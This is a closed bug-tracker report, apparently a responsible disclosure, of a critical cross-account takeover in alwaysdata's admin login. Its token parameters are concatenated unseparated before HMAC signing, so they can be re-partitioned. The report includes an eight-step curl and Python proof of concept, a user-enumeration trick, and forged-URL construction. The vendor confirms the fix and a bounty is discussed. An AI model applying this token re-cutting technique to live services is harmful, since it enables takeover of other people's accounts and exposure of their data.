- Status Closed
-
Assigned To
cbay - Private
Opened by SiddharthSharma - 31.07.2026
Last edited by cbay - 04.08.2026
FS#427 - Cross-Account Takeover via Token Re-Partition
Severity: Critical (CVSS 9.8)
Vulnerability Summary:
The login token system at admin.alwaysdata.com joins multiple parameter values into a single string without any separator before signing it with HMAC. An attacker can split the same string differently across different parameter names — the signature stays valid, but the user_id now points to a victim's account. The victim's user ID can be discovered unauthenticated via the /user/initialize/ endpoint, which returns 200 for existing users and 302 for non-existing ones, allowing enumeration of all users on the platform. The re-cut absorbs expiration + last_login + attacker's user_id into all_permissions, and extracts reseller_user_id=1 from the leading digit of the attacker-controlled voucher_code (e.g., 1469954 splits into 1 + 469954). The voucher_code parameter is discoverable from signup/referral URLs, and the all_permissions / reseller_user_id parameters were discovered by analyzing the token-based login redirect URL and testing additional parameters — when both are present, the server treats the login as a reseller admin session, granting superuser privileges and bypassing additional authentication checks, so the attacker controls every value in the token verification. The last_login value needed for the re-cut is readable from the profile page's HTML source (data-last-login attribute in DevTools). This allows full account takeover of any user without knowing their password.
Steps To Reproduce:
**Step 1: Login to your own account**
Creates a session cookie in /tmp/c.txt
rm -f /tmp/c.txt
CSRF=$(curl -s -c /tmp/c.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
echo "Step 1 done"
**Step 2: Set last_login in database**
Loads your profile page — this saves last_login = T1 in the database
curl -s -b /tmp/c.txt "https://admin.alwaysdata.com/user/" > /dev/null
echo "Step 2 done"
**Step 3: Trigger password reset**
Sends reset email — unauthenticated, does NOT change last_login. Token in email is signed with T1
CSRF2=$(curl -s -c /tmp/c2.txt "https://admin.alwaysdata.com/password/lost/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b /tmp/c2.txt -X POST "https://admin.alwaysdata.com/password/lost/" -H "Referer: https://admin.alwaysdata.com/password/lost/" --data-urlencode "csrfmiddlewaretoken=$CSRF2" --data-urlencode "email=YOUR_EMAIL" -o /dev/null
echo "Step 3 done: check your email"
**Step 4: Set the reset URL**
Copy the reset link from your email. Add &voucher_code=1VICTIM_PK at the end. The 1 before the victim ID is required.
RESET_URL="PASTE_YOUR_RESET_LINK_HERE&voucher_code=PAST YOUR VOUCHER CODE HERE"
**Step 5: Submit the reset and capture redirect token**
Resets your password and captures the signed redirect. The redirect token is signed with T1.
CSRF3=$(curl -s -c /tmp/c3.txt "$RESET_URL" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
REDIRECT=$(curl -s -D - -b /tmp/c3.txt -X POST "$RESET_URL" -H "Referer: $RESET_URL" --data-urlencode "csrfmiddlewaretoken=$CSRF3" --data-urlencode "password=YOUR_PASSWORD" -o /dev/null | grep -i "^location:" | sed 's/location: //i' | tr -d '\r')
echo "Redirect: $REDIRECT"
**Step 6: Re-login and read T1**
Login again (password was just reset). Then load /user/ — the page shows T1 (the value used for signing).
CSRF4=$(curl -s -c /tmp/c4.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c4.txt -b /tmp/c4.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF4" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
T1=$(curl -s -b /tmp/c4.txt "https://admin.alwaysdata.com/user/" | grep -oP 'data-last-login="\K[^"]+' | sed 's/T/ /')
echo "T1 = $T1"
**Step 7: Build the attack URL**
Rearranges the token parameters so user_id points to the victim
python3 << 'PYEOF'
import urllib.parse, sys
redirect = """PASTE_REDIRECT_VALUE_HERE"""
t1 = """PASTE_T1_VALUE_HERE"""
params = dict(urllib.parse.parse_qsl(redirect.split('?')[1]))
exp = params['expiration']
tok = params['token']
uid = params['user_id']
vid = params['voucher_code'][1:]
ap = exp + t1 + uid
print(f"\nOriginal: {exp + t1 + uid + params['voucher_code']}")
print(f"Re-cut: {ap + '1' + vid}")
print(f"Match: {exp + t1 + uid + params['voucher_code'] == ap + '1' + vid}")
url = ('https://admin.alwaysdata.com/login/?user_id=' + vid
+ '&all_permissions=' + urllib.parse.quote(ap)
+ '&reseller_user_id=1&token=' + tok)
print(f"\nOPEN IN BROWSER:\n{url}\n")
PYEOF
**Step 8: Open the URL in your browser**
You are now logged in as the victim
Impact:
Full account takeover of any user on the platform without knowing their email and password.
Access to victim's domains, databases, SSH keys, SSL certificates, emails, billing information, and support tickets.
No victim interaction required — the victim receives no notification of the login.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Alwaysdata Account Takeover.m...
Hello, any update on this report?
Hello,
Thanks for the report.
Can you confirm that the bug is fixed?
Kind regards,
Cyril
Hello, I have checked, The bug is FIXED now, and can you tell me what is the bounty for this critical bug? and should i raise ticket on admin panel for this bug now?
Yes, please open a support ticket to claim your bounty.